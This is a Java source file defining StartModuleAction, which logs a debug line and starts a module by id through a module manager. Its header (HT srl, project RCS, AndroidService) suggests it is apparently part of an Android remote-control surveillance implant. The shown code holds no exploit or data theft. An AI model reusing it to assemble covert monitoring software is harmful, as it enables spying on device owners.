/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : StartAgentAction.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.action; import com.android.dvci.Trigger; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ConfAction; import com.android.dvci.manager.ManagerModule; import com.android.dvci.util.Check; /** * The Class StartAgentAction. */ public class StartModuleAction extends ModuleAction { private static final String TAG = "StartModuleAction"; //$NON-NLS-1$ /** * Instantiates a new start agent action. * * @param params * the conf params */ public StartModuleAction(final ConfAction params) { super(params); } /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.action.SubAction#execute() */ @Override public boolean execute(Trigger trigger) { if (Cfg.DEBUG) { Check.log(TAG + " (execute): " + moduleId);//$NON-NLS-1$ } final ManagerModule moduleManager = ManagerModule.self(); moduleManager.start(moduleId, trigger); return true; } }